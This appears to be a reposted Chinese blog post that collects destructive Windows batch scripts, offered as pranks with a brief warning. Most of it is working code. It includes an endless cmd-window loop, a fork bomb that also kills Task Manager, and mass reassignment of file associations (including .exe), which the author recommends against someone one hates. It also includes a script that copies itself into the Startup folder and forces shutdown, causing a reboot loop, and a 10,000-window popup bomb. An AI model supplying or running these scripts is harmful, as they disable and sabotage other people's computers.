一些在网上搜集的奇奇怪怪的bat代码。。。仅供参考!小心中招!

横线开始


:start
start cmd
goto start


:和start间没有空格
这个代码可以打开无数个cmd窗口,唯一的解决方法是:重启

  1. (感觉这个效果类似啊。。。)
    先建一个,文件名随便
    taskill taskmgr.exe
    start 1.bat
    %0|%0
    另一个1.bat
    start 你的节操
    %0|%0
    效果就是回弹出非常多的弹窗,提示找不到文件“你的节操”

  2. 这是一个恶搞程序,运行后会出现N个本地磁盘,但是对电脑没有什么实际伤害。
    @echo off
    for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)
    如果要解除就用这个
    @echo off
    for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)

  3. 如果你对对方恨之入骨就用这个,这个会把文件关联改的一团糟
    @echo off
    assoc .exe=txtfile
    assoc .txt=exefile
    assoc .mp3=txtfile
    assoc .flv=txtfile
    assoc .swf=txtfile
    assoc .fla=txtfile
    assoc .jpg=txtfile
    assoc .bmp=txtfile
    assoc .zip=txtfile
    assoc .7z=txtfile
    assoc .rar=txtfile
    assoc .tag=txtfile
    assoc .jpge=txtfile
    assoc .mp4=txtfile
    assoc .3gp=txtfile
    assoc .avi=txtfile
    assoc .wav=txtfile
    assoc .htm=txtfile
    assoc .html=txtfile
    assoc .vbs=txtfile
    assoc .vbe=txtfile
    assoc .js=txtfile
    assoc .rxproj=txtfile
    assoc .mdb=txtfile
    assoc .dll=txtfile
    assoc .dat=txtfile
    assoc .sys=txtfile
    assoc .wmv=txtfile
    assoc .ogg=txtfile
    assoc .db=txtfile
    assoc .mid=txtfile
    assoc .gif=txtfile
    assoc .png=txtfile
    assoc .doc=txtfile
    assoc .exl=txtfile
    assoc .pdf=txtfile
    assoc .chm=txtfile
    assoc .nfo=txtfile
    或者用这个
    @echo off
    copy %0 “%ALLUSERSPROFILE%\「开始」菜单\程序\启动”
    shutdown -s -f -t 0
    你也可以用这个超级弹窗程序吓吓他
    @echo off
    for /l %%i in (1,1,10000) do (start %0)

猜你喜欢

转载自blog.csdn.net/qq_39412935/article/details/84841502
今日推荐